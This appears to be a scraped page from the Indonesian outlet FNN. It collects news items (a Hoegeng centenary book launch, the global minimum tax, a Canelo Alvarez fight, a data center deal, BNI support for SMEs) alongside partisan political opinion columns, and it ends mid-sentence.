Jakarta, FNN - Keluarga besar mantan Kapolri Jenderal Polisi Drs. Hoegeng Imam Santoso secara resmi meluncurkan buku berjudul "Dunia Hoegeng, 100 Tahun Keteladanan" dalam rangka 100 tahun Pak Hoegeng yang ditulis oleh wartawan senior Farouk Arnaz. "Ide penulisan buku ini muncul dari Pak Komisaris Jenderal (Purn) Drs. Nanan Soekarna dan Kepala Badan Pemelihara Keamanan (Kabaharkam) Komjen Arief Sulistyanto," kata anak kedua mantan Kapolri Jenderal Polisi Drs. Hoegeng Imam Santoso, Aditya Hoegeng di sela-sela peluncuran buku tersebut di Jakarta Selatan, Minggu. Pada saat ia bertemu dengan kedua orang tersebut, Didiet sapaan akrab Aditya, disarankan menulis buku yang berisi tentang sosok Kapolri kelima itu dari segi humanisnya. Saran itu dilatarbelakangi karena sebelumnya sudah ada buku-buku tentang Hoegeng tentang kedinasan. Setelah itu, Nanan Soekarna dan Kabaharkam Komjen Arief Sulistyanto mengenalkan Didiet dengan seorang wartawan senior yakni Farouk Arnaz. Selama kurun waktu empat bulan dan beberapa kali revisi, buku berjudul "Buku Dunia Hoegeng, 100 Tahun Keteladanan" dalam rangka 100 tahun Pak Hoegeng berhasil diterbitkan. Selepas itu, lanjut dia, tepat 14 Oktober 2021 atau 100 tahun Hoegeng, keluarga besar dan penulis mendatangi istri dari Hoegeng yakni Meriyati Roeslani di daerah Depok Jawa Barat untuk menyerahkan buku yang telah diselesaikan tersebut. Sekilas isi buku tersebut menceritakan tentang sosok Hoegeng Iman Santoso yang meninggalkan warisan mempertahankan prinsip, menjaga integritas, dan dedikasi. Kapolri kelima yang berkisah tentang keteguhan menjabat mulai 1968 hingga 1971 itu adalah sosok langka yang sulit dicari padanannya mulai dulu hingga kini. Tak hanya sendiri, Hoegeng juga mengajak serta keluarganya untuk terjun memasuki kehidupan yang penuh idealisme dan antikompromi yang sesungguhnya tak pernah mudah itu. Hoegeng tidak mau berkhianat dan berkongsi dengan kebatilan. Ia menjaga nama baik dan sumpah dengan perbuatan nyata bukan sekadar kata-kata. Sepak terjang Hoegeng yang tak bisa disetir membuat gerah para "tuan besar" sehingga ia kehilangan jabatannya. Namun, Hoegeng tak pernah menyesali langkahnya. Ia bahkan bergabung dengan Petisi 50 pada tahun 1980 yang lantang mengkritik penguasa saat itu yang dianggap mulai melenceng. Buku tersebut juga berisi testimoni orang-orang terdekat Hoegeng dari 'dapurnya' Hoegeng yang tanpa dukungan, keikhlasan, dan pengertian mereka. Perjuangan sosok Hoegeng sangat berat. Sebab, Hoegeng adalah seorang suami, Hoegeng adalah ayah, dan Hoegeng adalah kakek. Selain itu, buku tersebut juga berisi tiga kasus menonjol di akhir karier Hoegeng sebagai Kapolri dan kebijakan-kebijakan Hoegeng semasa menjadi Kapolri yang terekam dalam berbagai media massa. Peluncuran buku tersebut dilakukan di salah satu restoran di daerah Jakarta Selatan dan dihadiri langsung oleh anak, cucu hingga cicit serta sejumlah pejabat negara hingga kalangan partai politik. (mth)

Surga Pajak yang Segera Hilang

Jakarta, FNN- Lima tahun silam dunia pernah diguncang skandal Panama Papers ketika orang-orang kaya yang rata-rata memiliki korporasi besar dan berkuasa, memarkir kekayaannya di wilayah yang menawarkan pajak rendah yang dikenal dengan tax haven atau surga pajak. Awal bulan lalu kehebohan serupa muncul setelah untuk kesekian kali International Consortium of Investigative Journalists (ICIJ) menerbitkan bocoran dokumen pajak terbaru, Pandora Papers, yang menyingkapkan siasat licin 35 pemimpin dunia dan mantan pemimpin dunia termasuk mantan PM Inggris Tony Blair, 330-an politisi dan pejabat pemerintah di 91 negara, para buronan, penipu, dan penjahat, serta 130-an miliarder, dalam menghindarkan pajak guna menyembunyikan kekayaannya. Yang istimewa dari Pandora Papers adalah skandal ini diekspos tidak lama dari tercapainya konsensus global yang beberapa pekan kemudian disepakati para pemimpin Kelompok 20 atau G20, mengenai minimal 15 persen pajak untuk korporasi besar. Kedua peristiwa itu tak ada hubungannya, tetapi keduanya mengekspos surga pajak dalam perspektif yang bertolak belakang. Bagi mereka yang disebut dalam Pandora Papers, surga pajak adalah tempat yang membuat mereka leluasa menyembunyikan kekayaannya di wilayah yang menerapkan pajak rendah yang kebanyakan melulu mementingkan arus modal masuk atau capital inflow tanpa mempedulikan asal dan bentuk kapital yang masuk itu. Penikmat surga pajak bukan hanya individu-individu kaya dan berkuasa, tapi juga korporasi-korporasi besar yang biasa disebut perusahaan multinasional. Sebaliknya, bagi bagian terbesar dari 136 negara yang menyepakati konsensus keuangan global itu, surga pajak adalah petaka yang mengikis kemampuan ekonomi nasional dan menciptakan ketimpangan dalam praktik bisnis karena bagian terbesar keuntungan mengalir kepada pemegang saham dan pemilik, bukan kepada pekerja. Lain dari itu, pajak yang semestinya mengalir ke negara di mana perusahaan asing itu beroperasi, malah parkir di negara lain yang menawarkan pajak rendah yang mereka jadikan kantor pusat atau kantor cabang utama regionalnya. Oleh karena itu, boleh dibilang konsensus minimal pajak 15 persen untuk perusahaan global itu adalah pakta ekonomi internasional paling penting abad ke-21 karena bisa mendorong perekonomian menjadi lebih berorientasi pekerja, selain mendistribusikan kembali secara adil pendapatan swasta ke wilayah di mana mereka mencetak laba, bukan lagi melulu ke wilayah atau sistem pajak lain di mana perusahaan yang mencetak laba itu berkantor pusat. Yang lebih menggugah dari prakarsa itu adalah semangat kolektif dunia dalam menerapkan sistem pajak yang adil, bukan lagi mendorong terciptanya sebuah sistem ultra-nasionalistis di mana negara-negara berlomba menurunkan tarif pajak hanya demi capital inflow yang membuat satu negara beruntung di atas kerugian dan penderitaan negara lain. Ketimpangan Pajak Global Rp 3.511 Triliun per Tahun Ketimpangan pajak global sudah bertahun-tahun menggerogoti kemampuan negara dalam menarik pajak kepada individu atau korporasi yang mencari laba di negerinya tapi membayar pajak di negara lain. Menurut Tax Justice Network, praktik seperti itu membuat banyak pemerintah di seluruh dunia kehilangan pemasukan pajak sebesar 245 miliar dolar AS (Rp3.511 triliun) per tahun. Perumpamaan dari praktik ini bisa digambarkan dalam contoh ketika korporasi A beroperasi dan mencari keuntungan di Indonesia, tapi perusahaan ini justru berkantor pusat di Singapura. Singapura dan sekitar 35 negara di dunia adalah negara-negara yang mengenakan tarif pajak rendah atau dalam kata lain menjadi surga pajak. Negara kota ini adalah satu dari sepuluh negara atau wilayah yang paling diuntungkan oleh praktik penghindaran pajak korporasi di seluruh dunia. Sembilan lainnya adalah Kepulauan British Virgin, Kepulauan Cayman, Bermuda, Belanda, Swiss, Luksemburg, Hong Kong, Jersey dan Uni Emirat Arab. Indonesia tak bisa memungut pajak dari perusahaan A karena perusahaan ini tidak masuk yurisdiksi pajaknya sekalipun menjual jasa dan produk di Indonesia yang dengan demikian mencetak laba di Indonesia. Indonesia, dan negara-negara serupa dalam skenario ini, terpaksa gigit jari karena tak bisa memajak perusahaan global semacam itu padahal mereka mencetak pendapatan besar dari konsumen Indonesia yang memakai jasa atau produknya. Oleh karena itu, sekalipun dipandang skeptis oleh sejumlah kalangan seperti organisasi nirlaba Oxfam International, konsensus global tarif pajak minimal 15 persen dianggap bisa menghentikan adu tarif pajak di antara negara-negara dan memaksa korporasi global merealokasikan keuntungan kepada negara di mana mereka mencetak pendapatan dan laba. Bagi sejumlah besar negara, skenario ini membuat mereka memperoleh sumber dana tambahan untuk investasi publik yang penting bagi pembangunan ekonominya. Skenario ini juga membuat pekerja menjadi lebih terberdayakan, apalagi sejak lama korporasi-korporasi besar menggunakan muslihat akuntansi dan rekayasa hukum demi menghindari pajak agar tetap menguntungkan pemegang saham dengan cara mengalihkan beban pajak ke surga pajak itu. Tidak heran banyak negara yang berusaha keras mencegah korporasi multinasional tidak memindahkan keuntungannya ke negara-negara surga pajak, namun nyaris tak berhasil sampai dunia menyepakati tarif pajak minimal 15 persen itu. Dipaksa Berbagi Keuntungan Tarif pajak minimum 15 persen ini berlaku untuk korporasi multinasional yang memiliki nilai penjualan minimal 750 juta euro (Rp12,4 triliun), sedangkan korporasi multinasional yang memiliki perputaran transaksi dagang per tahun 20 miliar euro (Rp330 triliun) dan marjin laba di atas 10 persen, bakal dipaksa membayar pajak di negara di mana mereka menjual produk atau jasanya antara 20 sampai 30 persen dari kewajiban pajaknya. Ini artinya porsi tertentu dari jumlah pajak yang dibayarkan perusahaan multinasional akan dibayarkan kepada negara di mana mereka menjual produk atau jasanya, bukan lagi hanya ke negara di mana korporasi itu berkantor pusat. Dengan cara seperti ini, negara-negara di dunia, taruhlah contohnya AS, memang bakal berkurang pemasukan pajaknya dari korporasi-korporasi multinasionalnya yang berkantor di AS seperti Google, Apple atau Facebook, karena korporasi seperti ketiga raksasa IT ini mesti merelokasikan kewajiban pajaknya ke negara di mana mereka menjual jasa atau produk dan mencetak laba. Tetapi AS mendapatkan tambahan pajak besar dari korporasi asing yang beroperasi di sana, sebutlah Samsung, Toyota atau Volkswagen. Dalam perspektif sama, Indonesia bisa menuntut bagian pajak yang biasanya dibayarkan sebuah korporasi besar yang berkantor pusat di Singapura atau di surga pajak mana pun, tetapi menjual produk atau jasanya di Indonesia. Pola baru seperti bisa membuat pajak yang sebelumnya terparkir semata di surga pajak menjadi sebagian masuk lagi ke negara-negara di mana korporasi besar mencetak pendapatan. Mengutip Organisasi Kerjasama dan Pembangunan Ekonomi (OCED), pola baru ini bisa membuat negara-negara di mana korporasi asing besar beroperasi, memperoleh total pemasukan baru 150 miliar dolar AS (Rp2.148 triliun) per tahun. Masalah terakhir yang harus dihadapi adalah bagaimana konsensus pajak global ini diundang-undangkan di dalam negeri karena beberapa negara seperti AS di mana bagian besar korporasi besar berkantor pusat diperkirakan bakal menghadapi kendala dalam melegislasi kesepakatan global itu. G20 sendiri memasang 2023 sebagai tenggat tahun bagi efektifnya aturan ini. Konsekuensinya, pada 2022 ketika Indonesia menjadi ketua KTT G20, konsensus pajak global ini akan ditandatangani oleh mayoritas pemerintahan di seluruh dunia. Ketika itu terjadi, maka korporasi besar akan dipaksa segera berhitung ulang untuk berbagi keuntungan yang diperolehnya dari tempat di mana mereka mencetak laba. Tren itu juga bisa berimbas kepada upaya dunia untuk tidak lagi menoleransi individu-individu yang menghindari pajak dengan memarkir kekayaannya di surga pajak. Jika semua berjalan sesuai rencana, maka cepat atau lambat surga pajak tidak lagi menjadi surga. (mth)

Megawati Harap Polisi Teladani Hoegeng yang Merakyat dan Berdedikasi

Jakarta, FNN - Ketua Umum DPP PDI Perjuangan, Megawati Soekarnoputri, berharap polisi di Indonesia dapat mencontoh sosok dan keteladanan Kapolri ke-5 Hoegeng Iman Santoso yang merakyat dan penuh dedikasi saat menjalankan tugas. “Menurut saya, he is the best. Kenapa? He is the real Polri. Orangnya sangat merakyat,” ujar Megawati mengenang mendiang Hoegeng, saat memberi sambutan pada acara peluncuran buku memperingati 100 tahun Hoegeng Iman Santoso di Jakarta, Minggu. Sebagai anak kedua Presiden Soekarno, dia mengenal langsung sosok Hoegeng dan menyaksikan langsung kesederhanaan dan kedekatan Hoegeng dengan rakyat, meskipun saat itu ia masih menjadi seorang mahasiswa di Fakultas Psikologi Universitas Indonesia. Ia menceritakan pengalamannya bertemu Hoegeng, yang saat itu menjabat sebagai kepala Kepolisian Indonesia, bersepeda dari rumahnya menuju Markas Besar Kepolisian Indonesia, di Jalan Trunojoyo, Jakarta. “Oom, mau ke mana? Saya manggilnya Oom. Oom, masa kapolri naik sepeda. (Hoegeng menjawab): Biar saja, ini sekalian berolahraga,” kata Megawati menceritakan sosok Hoegeng yang sederhana. Tidak hanya itu, Megawati pun berpesan kepada para polisi agar menjadikan sosok Hoegeng sebagai contoh dalam menjalankan tugas. “Menurut saya, (dari keteladanan) Pak Hoegeng, mereka (polisi) harus punya dedikasi. Kalian disuruh mengatasi terorisme, radikalisme,” kata dia. Ia lanjut menyampaikan dedikasi yang dicontohkan mendiang Hoegeng juga mendorong dia menjalankan tugas dengan penuh tanggung jawab. Ia menceritakan masa-masa ia bertugas sebagai wakil presiden. Ia saat itu tidak hanya menerima laporan tertulis dari bawahan, tetapi meninjau langsung situasi di lapangan. “Saya mau lihat sendiri. Saya enggak mau hanya (terima) laporan. Jadi betul-betul saya ikuti,” kata dia. Dedikasi dan tanggung jawab terhadap tugas, kata dia, merupakan sikap yang selalu dipraktikkan oleh para polisi. “Bukan hanya tugas rutin belaka, bukan hanya karena ingin naik pangkat belaka,” kata dia. Hoegeng Iman Santoso, menteri pada Orde Lama dan kepala Kepolisian Indonesia yang pertama pada Orde Baru, lahir di Pekalongan pada 14 Oktober 1921 dan wafat di Jakarta pada 14 Juli 2004. Sejak lama dia sangat menyukai dan menikmati musik, terkhusus genre hawaiian, dan dia membentuk kelompok musik hawaiian, yaitu Hawaiian Seniors, yang rutin mengisi program acara di TVRI. (mth)

Alvarez Bekuk Plant di Ronde 11 untuk Rengkuh Juara Sejati

Jakarta, FNN - Kedigdayaan Saúl "Canelo" Avarez di ring tinju dunia berlanjut dalam pertarungan ke-60 selama kariernya, dan ia pun mengukuhkan diri sebagai juara dunia kelas menengah super sejati setelah menghancurkan Caleb Plant di ronde ke-11 di MGM Grand Garden Arena, Las Vegas, Sabtu waktu setempat atau Minggu WIB. Dalam penampilan yang sabar tapi dominan, Alvarez membombardir Plant dengan serangkaian pukulan brutal hingga wasit menghentikan pertarungan untuk memberikan kemenangan TKO. Kemenangan itu sekaligus menambahkan gelar IBF Amerika ke sabuk WBA, WBC dan WBO yang sudah dimiliki Alvarez. “Saya ingin berterima kasih kepada semua orang di sini malam ini,” kata Alvarez dalam bahasa Spanyol melalui penerjemah seperti dikutip Theguardian. Menurut Alvarez, bukan hal yang mudah untuk bisa menjadi juara sejati seperti dua saat ini, karena selain perlu kerja keras, ia pun butuh dukungan dari banyak pihak. “Tidak mudah untuk sampai ke titik ini. Namun, dengan dukungan Anda, keluarga saya, tim saya, kami menjadi melangkah sangat jauh. Ini untuk kalian semua, terutama yang dari Meksiko, ini satu lagi untuk tim kami. Kami melakukannya lagi malam ini," kata petinju kelahiran 18 Juli 1990 ini. Dalam pertandingan ke-60 nya ini, Alvarez bermain sabar di awal pertandingan sehingga Plant mengambil inisiatif menyerang dengan melayangkan jab-jab kiri, tetapi Alvarez mementahkan dengan double cover yang rapat Bahkan, di pertengahan ronde pertama, Alvarez mendapat momen menekan Plant ke sisi ring, tetapi serangannya dimentahkan Plant dengan cara mengapitkan tangannya hingga memaksa wasit melerai kedua petinju. Selepas ronde pertama, Akvarez mulai meningkatkan intensitas serangan dan memaksa Plant bertahan sambil mencari celah melayangkan pukulan balasan. Memasuki ronde kelima, kedua petinju mulai tampil terbuka sehingga jual beli pukulan pun tak terhindarkan. ​​​​​​​ Pertarungan dengan intensitas tinggi itu membuat stamina Alvarez dan Plant terkuras, sehingga memasuki ronde ketujuh pertarungan terlihat agak santai. Hingga ronde kedelapan, tidak banyak pukulan keras yang dilepaskan oleh sesama juara kelas menengah itu. Sejak ronde kesembilan, Alvarez tampil agresif dengan terus menekan lawannya. Sejumlah pukulan Alvarez pun masuk. Pada ronde ke-11, Plant terjatuh setelah terkena hook kiri Alvarez. Plant mampu bangkit, tetapi Alvarez tak mau kehilangan kesempatan Ia terus melayangkan pukulan kombinasi yang membuat Plant terkapar di kanvas. Wasit pun menghentikan pertandingan dan memutuskan Alvarez menang TKO. (mth)

Kasihan Kodok

Oleh Ady Amar *) KODOK seperti juga anjing dan babi menjadi binatang (dianggap) menjijikkan. Padahal semuanya itu ciptaan Tuhan. Tapi Tuhan juga menetapkan mana binatang ciptaannya yang boleh dikonsumsi, mana yang terlarang. Jika lalu pertanyaan "nakal" diteruskan, mengapa Tuhan menciptakan makhluk itu tapi terlarang untuk dikonsumsi. Maka jawabnya bisa jadi, mungkin di balik itu, sebenarnya Tuhan ingin menguji mana manusia yang taat dengan tidak melanggar perintahnya, dan mana yang bandel dengan memilih tetap melanggar mengkonsumsinya. Tapi perbincangan kali ini terkhusus pada kodok, tentu tidak sebagai binatang yang kehadirannya berproses dari larva, lalu jadi cebong dan berakhir pada kodok. Tidak pada makhluk ciptaan Tuhan itu. Kodok hanya disebut atau dipakai inisialnya, dan itu untuk menandai sebuah rezim. Wow! Adalah Muhammad Said Didu, mantan Sekretaris BUMN, yang menginisialkan "kodok" untuk memotret rezim saat ini, yang menurutnya lebih buruk dari rezim Orba, yang rontok setelah memerintah 32 tahun. Rontok oleh Korupsi, Kolusi dan Nepotisme (KKN). Adakah yang lebih buruk dari KKN, menurutnya kodok, tentu dalam inisial, lebih buruk dari itu. Menurutnya, cebong itu fase menuju kodok. Dan setelah kodok tidak akan ditemui fase lain kecuali kematian. Makna mati di sini lebih pada runtuh. Rezim akan runtuh setelah benar-benar menjadi kodok. Seperti juga rezim sebelumnya yang runtuh setelah memasuki fase KKN. Said Didu tampak cerdas, saat membuat istilah yang tidak dipaksa-paksakan, tapi jika dilihat secara obyektif rasanya _sih_ benar juga apa yang diistilahkannya itu. Maka, makna kodok itu diinisialkan dengan korupsi, oligarki, dinasti, otoritarian dan koncoisme. Inisial kodok yang dibuat itu sungguh menyentak obyektivitas kesadaran yang sebenarnya, bahwa kita memang sedang memasuki fase terakhir menuju keruntuhan. Bagaimana tidak runtuh jika negeri ini dikelola dengan model kodok style, yang itu cuma menguntungkan sekelompok kecil dari kelompoknya. Untuk meyakinkan bahwa sebutan kodok itu adalah istilah yang tepat, ia pun perlu menggambarkan gerakan binatang kodok yang "gayanya menendang ke bawah, menyingkirkan (menyepak) ke samping dan menjilat ke atas". Said Didu tampak seolah memaksa-maksakan gaya binatang kodok, itu yang Subhanallah_memang pas dengan inisial yang disampaikannya. Kasihan memang, jika kodok sebagai binatang harus diinisialkan pada perangai buruk manusia, dan itu pada sifat tamak yang lebih buruk dari sikap binatang. Pastilah kodok tidak mampu protes menolak namanya diinisialkan dengan sikap tamak makhluk paling sempurna, tapi yang justru merendahkan kesempurnaan ciptaan-Nya. Tapi setidaknya nama kodok akan lebih sering disebut, bahkan disebut sebagai istilah untuk menamakan sebuah rezim. Kodok, meski binatang kecil, lebih akan sering disebut ketimbang anjing atau babi, yang belum ditemukan inisialnya untuk menandakan tidak saja sebuah rezim, tapi apapun yang bisa menggambarkan sebuah peristiwa menjijikkan/menjengkelkan, yang jika disebut satu persatu akan panjang bererotan. (*) *) Kolumnis

Siapa Pun KSAD Asal Bukan Dudung

By M Rizal Fadillah JUDUL di atas terinspirasi komentar netizen medsos dengan tulisan hal yang sama, lucu juga. Kesannya siapapun boleh menjadi KSAD asal bukan Dudung. Maksudnya adalah Letjen TNI Dudung Abdurrahman Pangkostrad kini dan Pangdam Jaya sebelumnya. Figurnya kontroversial. Peluang Dudung Abdurrahman menjadi KSAD memang besar, kenaikan posisi dari Pangdam menjadi Pangkostrad adalah pertanda bahwa bukan hal berat meningkat jabatan menjadi KSAD untuk menggantikan Jenderal Andika Perkasa yang sedang dipromosikan sebagai Panglima TNI. Sayangnya Dudung adalah sosok yang yang bermasalah, didukung oleh kekuasaan tetapi tidak disukai oleh rakyat. Ada empat masalah besar yang menjadikan Dudung Abdurrahman tokoh kontroversial sehingga menjadi tidak layak menjadi KSAD, yaitu : Pertama, perusak sejarah TNI dengan mengomandani penurunan baliho Habib Rizieq Shihab di Petamburan. Misi militer yang dinilai sebagai kudeta atas pekerjaan Satpol PP. Dudung masuk jauh ke dalam kegiatan politik pragmatis dan murahan. Kedua, dalam agenda pekerjaan Kepolisian turut menyertai Kapolda Irjen Pol Fadil Imron tampil dalam Konferensi Pers pembantaian 6 laskar FPI dan turut berdusta dengan menyatakan terjadi "tembak menembak" serta menunjukkan alat bukti yang diduga rekayasa. Pangdam yang menampilkan diri sebagai "ajudan" Kapolda. Ketiga, mendirikan patung Soekarno yang di samping Proklamator juga pemimpin Orde Lama di Kompleks Akademi Militer Magelang. Sebagai Gubernur Akmil saat itu Dudung meresmikan patung Soekarno bersama Megawati. Patungisasi Soekarno dicanangkan Megawati dimana-mana. Jika benar niat untuk menghormati Proklamator semestinya bersama dengan Moh Hatta. Keempat, merusak atau menghilangkan patung diorama penumpasan G 30 S PKI di Museum Makostrad. Nuansa ketidaksukaan kepada sejarah peran Nasution, Soeharto, dan Sarwo Edhi dalam menumpas PKI di masa Orde Lama sangat terasa. Alasan "haram patung" yang ditoleransi Dudung Abdurrahman adalah sumier dan tidak adekuat. Kalkulasi dukungan politik kekuasaan memungkinkan Dudung Abdurrahman untuk menjadi KSAD, akan tetapi pencitraan dirinya menimbulkan kesan "dosa politik" yang bertumpuk. Publik menilai Dudung tidak pas dan tidak pantas sebelum kasus dan campur tangan politiknya diusut tuntas. Yang wajar dan pantas untuk menjadi KSAD adalah siapa pun, asal bukan Dudung ! *) Analis Politik dan Kebangsaan

Data Center Dinilai Sebagai Tulang Punggung bagi Industri Digital

Jakarta, FNN - Chairman & CEO Sinar Mas Telecommunications & Technology Franky Oesman Widjaja menilai data center atau pusat data merupakan tulang punggung bagi industri digital di Tanah Air yang semakin berkembang pesat saat pandemi COVID-19. Oleh karena itu, perseroan melalui unit usahanya Smartfren menandatangani nota kesepahaman dengan perusahaan yang bergerak di bidang Artificial Intelligence (AI) dan Cloud Computing asal Abu Dhabi, Group 42 (G42) serta mitra lokal asal Indonesia, PT Amara Padma Sehati (APS) yang akan berperan sebagai salah satu rekanan lokal yang memiliki kekuatan dalam ekosistem bisnis dan teknologi, untuk menyelenggarakan pusat data berkapasitas 1.000 MegaWatt (MW) di Indonesia. "Smartfren memahami pentingnya pusat data sebagai tulang punggung perkembangan industri digital di Indonesia. Kami optimis, kerja sama ini akan mewujudkan pembangunan pusat data di Tanah Air dan menjaga kedaulatan data nasional yang sedang dilakukan Pemerintah Indonesia. Selain itu, berkembangnya pusat data ini akan meningkatkan kualitas hidup masyarakat, juga akan memacu inovasi sektor industri 4.0 di Tanah Air," ujar Franky dalam keterangan di Jakarta, Sabtu. CEO G42 Peng Xiao mengatakan, G42 dan Etisalat baru-baru ini melakukan penggabungan bisnis pusat data mereka untuk menciptakan penyedia pusat data terbesar di Uni Emirat Arab dengan kapasitas sekitar 300 MW yang sedang dibangun. "Dengan kemampuan kami dalam hal Cloud Computing, kami di G42 senang dan siap bekerja sama dengan Smartfren serta mitranya untuk mendukung pengembangan strategis infrastruktur digital Indonesia sesuai dengan standar internasional tertinggi untuk desain fasilitas, operasi, serta privasi dan keamanan data," ujar Peng Xiao. Smartfren dan perusahaan afiliasinya Moratel yang bergerak di penyedia konektivitas berbasis fiber optik, akan berkolaborasi dengan APS dan G42 yang akan berperan sebagai mitra strategis. Dengan pengetahuan dan pengalaman yang dimiliki, lanjut Franky, kolaborasi tersebut diharapkan akan meningkatkan ketahanan, keamanan dan kedaulatan data nasional. Saat ini kebutuhan pusat data di Indonesia berkembang sangat pesat. Pembangunan infrastruktur pusat data di dalam negeri yang memadai menjadi hal yang mendesak untuk dilakukan. Dengan menggunakan pusat data yang berada di dalam negeri, akan memberi kemampuan untuk akses data yang lebih mudah, cepat dan aman dan akan melengkapi serta memperkuat ekosistem digital untuk mendukung pengembangan ekonomi digital yang sangat pesat serta menciptakan lapangan kerja yang besar di bidang digitalisasi dan industri 4.0. "Hal ini, merupakan kunci perwujudan ketahanan, keamanan dan kedaulatan data nasional menuju ekonomi digital Indonesia," kata Franky. Pertukaran dokumen perjanjian antara kedua perusahaan dilakukan antara Chairman dan CEO Sinar Mas Telecommunication and Technology Franky Oesman Widjaja dan CEO G42 Peng Xiao dalam sebuah acara yang digelar di Expo Dubai dan disaksikan oleh Presiden Republik Indonesia H. Joko Widodo dan Perdana Menteri UEA dan Ruler of Dubai, HH Sheikh Mohammed bin Rashid Al Maktoum. (mth)

Telinga Iwan Fals Tipis, Tak Setebal Anies Baswedan

Oleh Ady Amar *) Ada yang kerap bahkan sudah jadi hobi lapor melaporkan pada pihak berwajib, jika merasa dirinya atau junjungannya, atau kelompoknya diberitakan dengan tidak sebenarnya. Dilaporkan pada kepolisian untuk sebisa mungkin diseret ke pengadilan. Itu bisa karena postingan, atau pernyataan seseorang terhadap publik figur dianggap tidak mengenakkan, bahkan dianggap fitnah, lalu memilih jalur hukum menyelesaikan persoalan itu. Kemarin Kamis, 4 November, Rosana, istri musikus gaek yang lagu-lagunya penuh kritik, Iwan Fals, mengadukan laporan ke Polda Metro Jaya, seseorang dengan inisal KS, yang disebutnya mencemarkan nama baik suaminya. Itu berkenaan dengan Ormas Orang Indonesia (OI). Ia didampingi sang suami, Iwan Fals, yang lalu berstatus sebagai saksi. Mengapa tidak Iwan Fals sendiri yang mengadukan pencemaran nama baiknya, kok justru harus istrinya. Aneh, kan. Iwan Fals terbilang tukang kritik. Lagu-lagunya sarat kritik, yang akhirnya tak tahan juga dirinya diganggu dengan "kritik". Telinga Iwan ternyata tipis. Mengadu pada instrumen kekuasaan (polisi) jadi pilihan. Kalau saja pada masa lalu ada pihak di era Soeharto yang dikritiknya menempuh jalur hukum, entah sudah berapa kali ia mesti menghuni prodeo. Iwan Fals saat ini memang bukan seperti yang dulu. Iwan Fals yang sekarang ini, orang menyebut "singa tua" yang ompong, yang mata dan hatinya tak mampu melihat fenomena sosial-politik sekeliling dengan baik. Ia tampak menikmati keasyikan tersendiri bisa makan semeja dengan penguasa. Banyak yang menyayangkan langkahnya memilih jalur hukum. Memang sih pokok materi perkara aduannya tidak di-share di ruang publik. Maka, semua tidak tahu seberapa dahsyat fitnah yang mengenainya itu. Meski demikian, menempuh jalur hukum itu mengesankan ia bukan terbilang orang yang "jembar hati" melihat persoalan dan menyelesaikan dengan cara-cara persuasif di luar pengadilan. Atau bahkan membiarkan saja persoalan yang dianggapnya fitnah, itu justru langkah elegan, yang lambat laun pastilah "fitnah" itu akan pupus dengan sendirinya. Tapi ya itu tadi, tukang kritik memang tidak selamanya kuat dikritik, dan lalu memilih jalur hukum. Berharap saja pihak kepolisian bijak dan tidak memproses perkara yang sebenarnya bisa dicari titik temunya. Tidak semua perkara mesti diseret ke pengadilan yang melelahkan, hanya untuk kepuasan semu satu pihak. Anies Memang Istimewa Bersyukur Iwan Fals tidak ditakdir sebagai Gubernur DKI Jakarta, yang tidak berperangai seperti Anies Baswedan. Tidak berperangai seperti Anies, itu karena ia "'sempit hati", yang tidak tahan kritik yang lalu memilih jalur hukum. Maka, sehari bisa 3-4 kali, seperti minum obat layaknya, ia akan bolak-balik melaporkan orang-orang yang mengkritiknya. Menjadikan pekerjaan utama sebagai Gubernur jadi terbengkalai. Diakui atau pun tidak diakui, tetaplah Anies Baswedan itu pejabat istimewa, seng ada lawan. Ia membiarkan saja, bukan lagi kritikan, tapi hujatan bahkan fitnah keji yang didapatnya dari para buzzer bergaji rupiah, yang umpatannya jahat penuh dusta, yang seperti diproduksi massal. Memilih dengan tidak menghiraukan. Bak dianggap angin lalu saja. Anies tidak ingin terkotori pikirannya dengan hal-hal tidak produktif. Anies tampak tidak mempermasalahkan dirinya jadi samsak hidup, dihajar tiap hari dengan fitnah yang diada-adakan. Anies tampak menikmatinya. Ia tak harus bersungut-sungut melaporkan mereka yang memang bekerja dan digaji dengan mengumpat-memfitnahnya. Intensitas umpatan jahat penuh fitnah tampak makin hari makin sadis dihantamkan. Seolah para buzzer berlomba memproduk umpatan paling sadis yang bisa membuat Anies terusik. Sekali lagi, Anies tetap saja tak bergeming. Agaknya rugi bahkan menjatuhkan diri jika merespons umpatan sampah. Sikap yang dipilih Anies setidaknya efektif. Menjadikan pekerjaan utamanya tidak jadi terbengkalai cuma ngurus hal tidak semestinya yang sifatnya personal. Anies terus bekerja membuat Jakarta makin "bercahaya", yang itu memang cuma bisa dilihat oleh mereka yang tak buta hati dan matanya. Tahun 2024 masih jauh, tapi kerja para buzzer dan analis politik berbayar, yang belakangan muncul seperti jamur di musim hujan, seolah diikhtiarkan-dihadirkan punya tugas menenggelamkan elektabilitas Anies yang moncer. Tampaknya, menjatuhkan Anies berlebih, bahkan terkesan dikeroyok jadi musuh utama, rasanya tidak efektif lagi. Justru di mata publik, tidak saja di Jakarta, tapi di seantero negeri justru menimbulkan empati dan simpati sebaliknya. Sepertinya cara-cara busuk dengan membusuk-busukkan Anies Baswedan, itu sudah mampu dibaca publik dengan baik. Memilih diterus-teruskan pastilah mubazir. (*) *) Kolumnis

BNI Antar UMKM Tembus Pasar Dubai

Dubai, FNN - PT Bank Negara Indonesia (Persero) Tbk (BNI) memfasilitasi debitur Usaha Mikro Kecil Menengah (UMKM) nasional masuk ke Al Jaber Gallery di Mall of Dubai, sebagai salah satu upaya pengembangan bisnis segmen UMKM BNI. "Tentunya, kami sangat bangga karena UMKM Nasional yang kami bina ditempatkan di etalase premium di mall terbesar dunia yaitu di Al Jabber Gallery, Dubai Mall. Kami berharap dapat memberi dampak positif membuka jalan UMKM Indonesia go global," kata Direktur Utama BNI Royke Tumilaar di Dubai, Sabtu. Al Jaber Gallery merupakan jaringan toko sovenir terbesar di United Arab Emirates (UEA) yang berdiri 1960. Pemilik Al Jaber Gallery adalah Abdulla Jaber Belshalat, pengusaha bidang kerajinan dan barang antik. Al Jaber Gallery saat ini memiliki 26 gerai yang tersebar di berbagai mall serta jalan raya di Dubai dan Abu Dhabi yang menjual berbagai kerajinan asli Arab dan berbagai negara, seperti Timur Tengah dan Asia Selatan. Sebagai pilot project, BNI mensponsori 10 pelaku UMKM dengan 30 produk berupa antara lain sepatu, keramik, fabrik, perhiasan, porselen, tas, dan pajangan rumah untuk dapat dipasarkan di Al Jaber Gallery. Acara peresmian dihadiri langsung Menteri BUMN Erick Thohir. Royke Tumilaar menuturkan UMKM adalah segmen strategis yang tengah didorong pemulihan kinerjanya tahun ini. BNI terus mencari potensi pertumbuhan debitur UMKM menembus pasar global, termasuk Timur Tengah, yang ceruk pasarnya besar. Menurut dia, BNI baru saja merampungkan kerja sama 